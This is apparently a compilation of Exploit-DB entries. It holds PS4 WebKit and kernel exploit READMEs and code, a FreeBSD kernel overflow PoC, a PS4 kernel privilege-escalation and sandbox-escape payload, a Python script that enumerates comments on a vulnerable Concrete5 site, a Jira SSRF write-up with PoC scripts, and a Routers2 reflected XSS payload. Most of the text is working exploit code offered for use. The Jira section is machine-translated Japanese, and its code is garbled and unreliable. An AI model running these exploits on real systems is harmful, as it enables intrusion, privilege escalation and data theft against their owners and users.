You should see something like: <br />
```
Listening on [0.0.0.0] (family 0, port 8989)
Connection from [192.168.1.72] port 8989 [tcp/sunwebadmins] accepted (family 2, sport 59389)
Hello From a PS4!
```
Notes about this exploit:
==============
* Currently, the exploit does not work 100%, but is around 80% which is fine for our purposes. <br />
* Although it is confirmed to work, sometimes will fail, just wait some seconds and re-run the payload. <br />
* Performing too much memory allocation after sort() is called, can potentially lead to more instability and it may crash more. <br />
* The process will crash after the ROP payload is done executing. <br />
* This is only useful for researchers. There are many many more steps needed before this becomes useful to normal users. <br />

Acknowledgements
================
xyz - Much of the code is based off of his code used for the Henkaku project  
Anonymous contributor - WebKit Vulnerability PoC  
CTurt - I basically copied his JuSt-ROP idea  
xerpi - Used his idea for the socket code  
rck\`d - Finding bugs such as not allocating any space for a stack on function calls  
Maxton - 3.50 support and various cleanup  
Thunder07 - 3.15 support


Contributing
================
The code currently is a bit of a mess, so if you have any improvements feel free to send a pull request or make an issue. Also I am perfectly fine if you want to fork and create your own project.

Download:
            
PS4 5.01 WebKit Exploit PoC
===========================
Based on:
 - [CVE-2017-7005](https://bugs.chromium.org/p/project-zero/issues/detail?id=1208)
 - [PegaSwitch](https://github.com/reswitched/pegaswitch) ([Copyright 2017 ReSwitched Team](https://github.com/reswitched/pegaswitch/blob/master/LICENSE.md))
 - 4.0x exploit by [qwertyoruiopz](https://twitter.com/qwertyoruiopz)


> This exploit supports 5.01 (maybe others)!
			
Installation
============

1. Install the latest version of node from [nodejs.org](https://nodejs.org)
2. Clone this repository
3. Run `npm install`

Usage
=====

1. Run `npm start`

License
=======

MIT License. See attached `LICENSE.md` file.

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44197.zip
            
#!/usr/bin/env python3

# Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)
# CVE-2017-18195
# Chapman (R3naissance) Schleiss

from queue import Queue
from threading import Thread
from bs4 import BeautifulSoup
from tabulate import tabulate
import argparse
import requests
import logging

parser = argparse.ArgumentParser(
    description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",
)
parser.add_argument('-u','--url', action='store', dest='url', required=True,
					help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax")
parser.add_argument('-s','--start', action='store', type=int, dest='start_id',
                    help='Where to start enumeration')
parser.add_argument('-e','--end', action='store', type=int, dest='end_id',
                    help='Where to end enumeration')
parser.add_argument('-v','--verbose', action='store_true', dest='verbose',
                    help='This boolean flag will trigger all raw information to stdout')
args = parser.parse_args()

if args.verbose:
	logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')
else:
	logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')

if args.start_id is None:
	args.start_id = 1
if args.end_id is None:
	args.end_id = 10

def crawl(q, result):
	while not q.empty():
		work = q.get()
		logging.debug("Requesting cnvID: " + str(work))
		try:
			response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300)
			logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))
			if response.status_code < 400 or response.status_code > 499:
				logging.debug("Parsing html and adding comments to results list")
				soup = BeautifulSoup(response.text, 'html.parser')
				username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})
				message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})
				for i in range(len(username)):
					results.append((work, username[i].text.strip(), message[i].text.strip()))
			logging.info("Completed cnvID: " + str(work))
		except:
			logging.error('Error getting cnvID: ' + str(work))
		q.task_done()
	return True

q = Queue(maxsize=0)

enum = range(args.start_id, args.end_id + 1)
num_theads = min(50, len(enum))

results = []
for i in enum:
	q.put(i)

for i in range(num_theads):
	logging.debug('Starting thread ' + str(i))
	worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))
	worker.setDaemon(True)
	worker.start()

logging.debug('Waiting for final threads to complete')
q.join()

logging.info('Enumeration complete')

print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid'))
            
PS4 4.0x Code Execution
==============
This repo is my edit of the [4.0x webkit exploit](http://rce.party/ps4/) released by [qwertyoruiopz](https://twitter.com/qwertyoruiopz). The edit re-organizes, comments, and adds portability across 3.50 - 4.07 (3.50, 3.55, 3.70, 4.00, and of course 4.06/4.07). The commenting and reorganization was mostly for my own learning experience, however hopefully others can find these comments helpful and build on them or even fix them if I've made mistakes. The exploit is much more stable than FireKaku and sets up the foundation for running basic ROP chains and returns to normal execution. Credit for the exploit goes completely to qwertyoruiopz.

Organization
==============
Files in order by name alphabetically;
* expl.js - Contains the heart of the exploit and establishes a read/write primitive.
* gadgets.js - Contains gadget maps and function stub maps for a variety of firmwares. Which map is used is determined in the post-exploitation phase.
* index.html - The main page for the exploit. Launches the exploit and contains post-exploitation stuff, as well as output and code execution.
* rop.js - Contains the ROP framework modified from Qwerty's original exploit as well as the array in which module base addresses are held and gadget addresses are calculated.
* syscalls.js - Contains a system call map for a variety of firmwares as well as a 'name -> number' map for syscall ID's.

Usage
==============
Simply setup a web-server on localhost using xampp or any other program and setup these files in a directory. You can then go to your computer's local IPv4 address (found by running ipconfig in cmd.exe) and access the exploit.

Notes
==============
* The exploit is pretty stable but will still sometimes crash. If the browser freezes simply back out and retry, if a segmentation fault (identified by prompt "You do not have enough free system memory") occurs, refresh the page before trying again as it seems to lead to better results.
* This only allows code execution in ring3, to get ring0 execution a kernel exploit and KROP chain is needed.
* If I've made an error (particularily having to do with firmware compatibility and gadgets) feel free to open an issue on the repo.
* The exploit has been tested on 3.55 and 4.00, it is assumed to work on other firmwares listed but not guaranteed, again if you encounter a problem - open an issue on the repo.

Credits
==============
qwertyoruiopz - The original exploit, the likes of which can be found [here](http://rce.party/ps4/).

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44198.zip
            
# CVE-2014-1303 PoC for Linux
CVE-2014-1303 (WebKit Heap based BOF) proof of concept for Linux.  
This repository demonstrates the WebKit heap based buffer overflow vulnerability (CVE-2014-1303) on **Linux**.  

**NOTE:** Original exploit is written for Mac OS X and PS4 (PlayStation4).  

I've ported and tested work on Ubuntu 14.04, [WebKitGTK 2.1.2](https://webkitgtk.org/releases/)  

## Usage
Firstly you need to run simple web server,  
```
$ python server.py
```  
then  
```
$ cd /path/to/webkitgtk2.1.2/
$ ./Programs/GtkLauncher http://localhost
```
You can run several tests like,  
- Crash ROP (Jump to invalid address like 0xdeadbeefdeadbeef)
- Get PID (Get current PID)
- Code Execution (Load and execute payload from outer network)  
- File System Dump (Dump "/dev" entries)  

## Description
**exploit.html**           .....  trigger vulnerability and jump to ROP chain  
**scripts/roputil.js**     .....  utilities for ROP building  
**scripts/syscall.js**     .....  syscall ROP chains  
**scripts/code.js**        .....  hard coded remote loader  
**loader/**                .....  simple remote loader (written in C)  
**loader/bin2js**          .....  convert binary to js variables (for loader)  

## Purpose
I've created this WebKit PoC for education in my course.    
I couldn't, of course, use actual PS4 console in my lecture for legal reason :(  

## Reference
CVE 2014-1303 Proof Of Concept for PS4  
(https://github.com/Fire30/PS4-2014-1303-POC)  
Liang Chen, WEBKIT EVERYWHERE: SECURE OR NOT? [BHEU14]   
(https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not.PDF)


Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44204.zip

            
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>

int (*kprintf)(const char *fmt, ...);
char *ostype;

uint64_t originalRip;
uint64_t originalRbp;

void *resolve(char *name) {
	struct kld_sym_lookup ksym;
	
	ksym.version = sizeof(ksym);
	ksym.symname = name;
	
	if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
		perror("kldsym");
		exit(1);
	}
	
	printf("  [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
	return (void *)ksym.symvalue;
}

void payload(void) {
	kprintf("  [+] Entered kernel payload\n");
	
	strcpy(ostype, "CTurt  ");
	
	__asm__ volatile("swapgs; sysret");
}

// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
	fkeyarg_t fkey;
	
	fkey.keynum = index;
	fkey.flen = size;
	memset(&fkey.keydef, 0, 16);
	
	ioctl(0, SETFKEY, &fkey);
}

// Copy the heap onto the stack
void stackOverflow(int index) {
	fkeyarg_t fkey;
	
	fkey.keynum = index;
	fkey.flen = 16;
	memset(&fkey.keydef, 0, 16);
	
	ioctl(0, GETFKEY, &fkey);
}

int main(void) {
	int result, i;
	fkeyarg_t fkey;
	
	uint32_t ripLower4 = 0x808312cd; // jmp rbp
	uint64_t rbp = (uint64_t)payload;
	
	
	kprintf = resolve("printf");
	ostype = resolve("ostype");
	
	
	printf("  [+] Set full length for key 10\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, SETFKEY, &fkey);
	
	
	printf("  [+] Set bad length and perform heap overflow\n");
	heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));
	
	
	printf("  [+] Prepare stack overflow memory\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, GETFKEY, &fkey);
	originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4);
	originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12);
	
	printf("  [+] Original rip: %#lx\n", originalRip);
	printf("  [+] Original rbp: %#lx\n", originalRbp);
	
	*(uint64_t *)((char *)&fkey.keydef + 4) = rbp;
	*(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4;
	ioctl(0, SETFKEY, &fkey);
	
	
	printf("  [+] Trigger stack overflow\n");
	fflush(stdout);
	
	stackOverflow(0);
	
	
	return 0;
}
            
# CVE-2014-9322 PoC for Linux kernel
CVE-2014-9322 (a.k.a BadIRET) proof of concept for Linux kernel.  
This PoC uses only syscalls not any libraries, like pthread. Threads are implemented using raw Linux syscalls.  
[Raw Linux Threads via System Calls](http://nullprogram.com/blog/2015/05/15/)  

# Usage
```
$ make
```
**badiret.elf** is an ELF executable.  
**badiret.bin** is a raw binary that can be used as payload.  

# Reference
[Exploiting “BadIRET” vulnerability (CVE-2014-9322, Linux kernel privilege escalation)](https://blogs.bromium.com/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/)  

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44205.zip

            
CVE 2014-1303 Proof Of Concept for PS4
==============
This repository contains a poc for the CVE 2014-1303 originally disclosed by Liang Chen. It has been tested to work on system firmware 2.03, but should work for systems on a firmware < 2.50, the ROP test will however only work on 2.03.

Usage
==============
You need to edit the dns.conf to point to the ip address of your machine, and modify your consoles dns settings to point to it as well. Then run  
`python fakedns.py -c dns.conf`  
then  
`python server.py`  
Debug output will come from this process.  

Navigate to the User's Guide page on the PS4 and various information should be printed to the console. The ROP test will print what is stored in the rsp register. Continuing execution after rsp is pivoted still needs to be done.

Acknowledgements
================
Liang Chen  
thexyz  
dreadlyei

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44200.zip
            
/*
	Code written based on info available here http://cturt.github.io/dlclose-overflow.html

	See attached LICENCE file
	Thanks to CTurt and qwertyoruiop

	- @kr105rlz

Download: http://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44206.zip
*/

#include "ps4.h"

#define DEBUG_SOCKET
#include "defines.h"

static int sock;
static void *dump;

void payload(struct knote *kn) {
	struct thread *td;
	struct ucred *cred;

	// Get td pointer
	asm volatile("mov %0, %%gs:0" : "=r"(td));

	// Enable UART output
	uint16_t *securityflags = (uint16_t*)0xFFFFFFFF833242F6;
	*securityflags = *securityflags & ~(1 << 15); // bootparam_disable_console_output = 0

	// Print test message to the UART line
	printfkernel("\n\n\n\n\n\n\n\n\nHello from kernel :-)\n\n\n\n\n\n\n\n\n");

	// Disable write protection
	uint64_t cr0 = readCr0();
	writeCr0(cr0 & ~X86_CR0_WP);
	
	// sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe
	*(uint16_t *)0xFFFFFFFF82607C46 = 0x9090;
	*(uint16_t *)0xFFFFFFFF82607826 = 0x9090;
	
	*(char *)0xFFFFFFFF8332431A = 1;
	*(char *)0xFFFFFFFF83324338 = 1;
	
	// Restore write protection
	writeCr0(cr0);
	
	// Resolve creds
	cred = td->td_proc->p_ucred;

	// Escalate process to root
	cred->cr_uid = 0;
	cred->cr_ruid = 0;
	cred->cr_rgid = 0;
	cred->cr_groups[0] = 0;

	void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
	
	// sceSblACMgrIsSystemUcred
	uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
	*sonyCred = 0xffffffffffffffff;
	
	// sceSblACMgrGetDeviceAccessType
	uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
	*sceProcType = 0x3801000000000013; // Max access
	
	// sceSblACMgrHasSceProcessCapability
	uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
	*sceProcCap = 0xffffffffffffffff; // Sce Process
	
	((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true
	((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check

	// Jailbreak ;)
	cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0

	// Break out of the sandbox
	void *td_fdp = *(void **)(((char *)td->td_proc) + 72);
	uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
	uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
	uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
	*td_fdp_fd_rdir = *rootvnode;
	*td_fdp_fd_jdir = *rootvnode;
}

// Perform kernel allocation aligned to 0x800 bytes
int kernelAllocation(size_t size, int fd) {
	SceKernelEqueue queue = 0;
	sceKernelCreateEqueue(&queue, "kexec");

	sceKernelAddReadEvent(queue, fd, 0, NULL);

	return queue;
}

void kernelFree(int allocation) {
	close(allocation);
}

void *exploitThread(void *none) {
	printfsocket("[+] Entered exploitThread\n");

	uint64_t bufferSize = 0x8000;
	uint64_t overflowSize = 0x8000;
	uint64_t copySize = bufferSize + overflowSize;
	
	// Round up to nearest multiple of PAGE_SIZE
	uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
	
	uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	munmap(mapping + mappingSize, PAGE_SIZE);
	
	uint8_t *buffer = mapping + mappingSize - copySize;
	
	int64_t count = (0x100000000 + bufferSize) / 4;

	// Create structures
	struct knote kn;
	struct filterops fo;
	struct knote **overflow = (struct knote **)(buffer + bufferSize);
	overflow[2] = &kn;
	kn.kn_fop = &fo;

	// Setup trampoline to gracefully return to the calling thread
	void *trampw = NULL;
	void *trampe = NULL;
	int executableHandle;
	int writableHandle;
	uint8_t trampolinecode[] = {
		0x58, // pop rax
		0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919
		0x50, // push rax
		0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe
		0xFF, 0xE0 // jmp rax
	};

	// Get Jit memory
	sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
	sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);

	// Map r+w & r+e
	trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0);
	trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);

	// Copy trampoline to allocated address
	memcpy(trampw, trampolinecode, sizeof(trampolinecode));	
	*(void **)(trampw + 14) = (void *)payload;

	// Call trampoline when overflown
	fo.f_detach = trampe;

	// Start the exploit
	int sockets[0x2000];
	int allocation[50], m = 0, m2 = 0;
	int fd = (bufferSize - 0x800) / 8;

	printfsocket("[+] Creating %d sockets\n", fd);

	// Create sockets
	for(int i = 0; i < 0x2000; i++) {
		sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
		if(sockets[i] >= fd) {
			sockets[i + 1] = -1;
			break;
		}
	}

	// Spray the heap
	for(int i = 0; i < 50; i++) {
		allocation[i] = kernelAllocation(bufferSize, fd);
		printfsocket("[+] allocation = %llp\n", allocation[i]);
	}

	// Create hole for the system call's allocation
	m = kernelAllocation(bufferSize, fd);
	m2 = kernelAllocation(bufferSize, fd);
	kernelFree(m);

	// Perform the overflow
	int result = syscall(597, 1, mapping, &count);
	printfsocket("[+] Result: %d\n", result);

	// Execute the payload
	printfsocket("[+] Freeing m2\n");
	kernelFree(m2);
	
	// Close sockets
	for(int i = 0; i < 0x2000; i++) {
		if(sockets[i] == -1)
			break;
		sceNetSocketClose(sockets[i]);
	}
	
	// Free allocations
	for(int i = 0; i < 50; i++) {
		kernelFree(allocation[i]);
	}
	
	// Free the mapping
	munmap(mapping, mappingSize);
	
	return NULL;
}

int _main(void) {
	ScePthread thread;

	initKernel();	
	initLibc();
	initNetwork();
	initJIT();
	initPthread();

#ifdef DEBUG_SOCKET
	struct sockaddr_in server;

	server.sin_len = sizeof(server);
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = IP(192, 168, 0, 4);
	server.sin_port = sceNetHtons(9023);
	memset(server.sin_zero, 0, sizeof(server.sin_zero));
	sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
	sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
	
	int flag = 1;
	sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
	
	dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
#endif

	printfsocket("[+] Starting...\n");
	printfsocket("[+] UID = %d\n", getuid());
	printfsocket("[+] GID = %d\n", getgid());

	// Create exploit thread
	if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) {
		printfsocket("[-] pthread_create error\n");
		return 0;
	}

	// Wait for thread to exit
	scePthreadJoin(thread, NULL);

	// At this point we should have root and jailbreak
	if(getuid() != 0) {
		printfsocket("[-] Kernel patch failed!\n");
		sceNetSocketClose(sock);
		return 1;
	}

	printfsocket("[+] Kernel patch success!\n");

	// Enable debug menu
	int (*sysctlbyname)(const char *name, void *oldp, size_t *oldlenp, const void *newp, size_t newlen) = NULL;
	RESOLVE(libKernelHandle, sysctlbyname);
	
	uint32_t enable;
	size_t size;
	
	enable = 1;
	size = sizeof(enable);
	
	sysctlbyname("machdep.rcmgr_utoken_store_mode", NULL, NULL, &enable, size);
	sysctlbyname("machdep.rcmgr_debug_menu", NULL, NULL, &enable, size);
	
#ifdef DEBUG_SOCKET
	munmap(dump, PAGE_SIZE);	
#endif
	
	printfsocket("[+] bye\n");
	sceNetSocketClose(sock);
	
	return 0;
}
            

0x00脆弱性の背景

Jira's/プラグイン/サーブレット/ガジェット/MakereQuestリソースには、SSRFの脆弱性があります。その理由は、Jirawhitelistの論理的な欠陥は、この脆弱性を成功裏に悪用するリモート攻撃者が、Jiraサーバーとしてイントラネットリソースにアクセスできるためです。分析後、この脆弱性は資格情報なしでトリガーできます。

vxwiq1njjk07926.png

0x01衝撃の範囲

8.4.0

この脆弱性はJira Serverバージョン7.6.0で導入され、バージョン7.13.9および8.4.0で修正されました。

0x02脆弱性の再発

ATLASSIAN JIRAV7.13.0(このバージョンを例にとると、このバージョンには脆弱性があります)ダウンロードアドレス:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

インストールプロセスは説明されなくなりました(インストールするプロンプトによると、最初にアカウントを公式に登録してから、試用シリアル番号を取得してインストールします)。

Bupsuitを介したリクエストは次のとおりです。応答では、ターゲットシステムがSSRFの脆弱性を正常に検出したことがわかります。

get /plugins/servlet/gadgets/makerequest?url=3http://10.206.1.8:8080@www.baidu.com http/1.1

HOST: 10.206.1.8:8080

アップグレード-Insecure-Requests: 1

user-agent: mozilla/5.0(windows nt 6.1; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/76.0.3809.132 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/APNG、*/*; Q=0.8、Application/Signed-Exchangeb; V=B3

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、EN; Q=0.8

x-atlassian-token: no-check

Connection:閉じます

ai4xrexuocb7927.png

0x03脆弱性の確認

検証POCは次のとおりです。

リクエストをインポートします

sysをインポートします

# http://http://10.206.1.8:8080/plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com/

DEF SSRF_POC(URL、SSRF_URL):

if url [-1]=='/' :

url=url [:-1]

else:

url=url

vuln_url=url + '/プラグイン/サーブレット/ガジェット/makerequest?url=' + url + '@' + ssrf_url

ヘッダー={

'user-agent':' mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0 '、

'Accept':'*/*'、

'Accept-Language':' Zh-cn、zh; q=0.8、en-us; q=0.5、en; q=0.3 '、

'Accept-Encoding':' gzip、deflate '、

'x-atlassian-token'3:' no-check '、

'Connection ':' close '

}

r=requests.get(url=vuln_url、headers=headers)

R.Status_Code==200およびR.Content:の「セットクッキー」の場合

印刷'\ nsend poc success!\ n'

'x-ausername=%s'%r.headers.get( 'x-ausername')を印刷

印刷'\ nvuln_url=' + vuln_url + '\ n'

R.Contentを印刷します

else:

「vuln exitなし!」を印刷します

__name__=='__main __' :の場合

true:

印刷

ssrf_url=raw_input( 'ssrf url:')

url='http://10.206.1.833608080'#自分のターゲットJiraシステムに変更する必要があります

ssrf_poc(url、ssrf_url)

Python CVE-2019-8451.pyhttp://10.206.1.8:8080/b0qdrbjfx237928.png

または:#!/usr/bin/env python3

argparseをインポートします

リクエストをインポートします

Reをインポートします

g、b、r、w、m、c、end='\ 033 [92m'、 '\ 033 [94m'、 '\ 033 [91m'、 '\ x1b [37m'、 '\ x1b] [35m'、 '\ x1b [36m'、 '\ 033 [0m' '

info=end + w + '[ - ]' + w

good=end + g + '[ +]' + c

bad=end + r + '[' + w + '!' + r + ']'

user_agent='mozilla/5.0(Windows NT 10.0; Win64; x64)AppleWebkit/537.36(KHTML、Geckoのような)Chrome/75.0.3770.90 Safari/537.36'

def check_version(url):

ターゲット=url

応答=send_request(ターゲット)

print(info + 'バージョンのチェック.' + end)

r1=re.search( '[0-9] {1} \。[0-9] {1} \。[0-9] {1}'、str(response)))

print(info + 'Jiraバージョンはbe:' + r1.group(0) + end)に見えます)

v1='8.4.0'

v2=r1.group(0)

comapre_versions(v1、v2)==false:の場合

印刷(bad + 'バージョンは、おそらく脆弱ではないことを示しているようです。' + end)

else:

印刷(good + 'バージョンはそれが脆弱である可能性があることを示しているようです!' + end)

def comapre_versions(v1、v2):

i、j in zip(map(int、v1.split( '。'))、map(int、v2.split( '。'))):

i==j:の場合

続行します

I jを返します

return len(v1.split( '。'))len(v2.split( '。'))))

def check_vuln(url):

ターゲット=url + '/プラグイン/サーブレット/ガジェット/makerequest?url=' + url + '@example.com/'

応答=send_request(ターゲット)

print(info + 'SSRFテストの送信.' + end)

応答:の「RC':200」および「例ドメイン」の場合

印刷(good + 'ホストは脆弱であるように見えます!' + end)

else:

印刷(bad + 'ホストは脆弱ではないようです。' + end)

def send_request(ターゲット):

headers={'x-atlassian-token':'no-check'、 'user-agent':user_agent}

try:

r=requests.get(ターゲット、ヘッダー=ヘッダー)

E:としての例外を除く

印刷(リクエストの悪い + '問題!' +終了)

印刷(e)

出口(-1)

if(r.status_code!=200):

印刷(info + '何かがうまくいかなかった!' +終了)

if(R.Status_Code==302):

印刷(bad + 'リダイレクト。代わりにこれを試してください3:' + r.headers ['location'] + end)

else:

印刷(bad + 'status:' + str(r.status_code) + end)

出口(-1)

return(r.text)

__name__=='__main __' :の場合

parser=argparse.argumentparser(prog='jira-2019-8451.py'、description='JiraインスタンスがCVE-2019-8451に求められるかどうかを確認する

parser.add_argument( '-u'、 '-url'、help='ターゲットJiraインスタンスのurl e.g.' -u https://localhost3:8080 '')

parser.add_argument( ' - c'、 '-check'、help='Jiraバージョンのみを確認します。SSRFの試みを送信しない'、action='store_true')

args=parser.parse_args()

args.url:ではない場合

印刷(bad + '欠落パラメーター' + end)

parser.print_help()

出口(-1)

url=str(args.url)

print(info + 'testing' + url + '.' + end)

args.check==true:の場合

check_version(url)

終了(0)

else:

check_version(url)

check_vuln(url)

使用方法:PIP3インストールリクエスト

$ ./jira-2019-8451.py -H

usage: jira-2019-8451.py [-h] [-u url] [-c]

JiraインスタンスがCVE-2019-8451に敵対的であるかどうかを確認するために

オプションの引数:

-H、 - ヘルプこのヘルプメッセージと出口を表示します

-u url、-url url url of target jira instance '-u

https://LocalHost:8080 '

-c、 - チェックJiraバージョンのみを確認してください。 SSRFの試みは送信されません

d: \ python \ python37python c: \ uses \ administrator \ desktop \ jira-2019-8451.py-u http://10.206.1.83:8080

dydg54jurrt7929.png

0x04修理提案

8.4.0以上にアップグレード

0x05参照

https://MP.WEIXIN.QQ.COM/S/_TSQ9P1PQYSZJT2VAXD61A

https://nvd.nist.gov/vuln/detail/cve-2019-8451

https://github.com/jas502n/cve-2019-8451

https://github.com/ajh11g/jira-cve-2019-8451

https://jira.atlassian.com/browse/jraserver-69793

# Exploit Title: Routers2 2.24 - Reflected Cross-Site Scripting
# Date: 18-01-18
# Vendor Homepage: http://www.steveshipway.org/software/
# Software Link: https://github.com/sshipway/routers2
# Version: 2.24
# CVE: CVE-2018-6193
# Platform: Perl
# Category: webapps
# Exploit Author: Lorenzo Di Fuccia
# Contact: lorenzo.difuccia@gmail.com
# Website: https://github.com/lorenzodifuccia

1. Description

Routers2 is vulnerable to Reflected Cross-Site Scripting, affecting the 'rtr' GET parameter in a page=graph action to `cgi-bin/routers2.pl`.

2. Proof of Concept

http://router.com/cgi-bin/routers2.pl?rtr=--><script>alert("XSS")</script>&bars=Cami&xgtype=d&page=graph&xgstyle=l2&xmtype=routers

3. Solution

Update the program cloning the repo from GitHub or disable the 'paranoia' setting in the web section of the `routers2.conf`.

4. References

https://github.com/sshipway/routers2/issues/1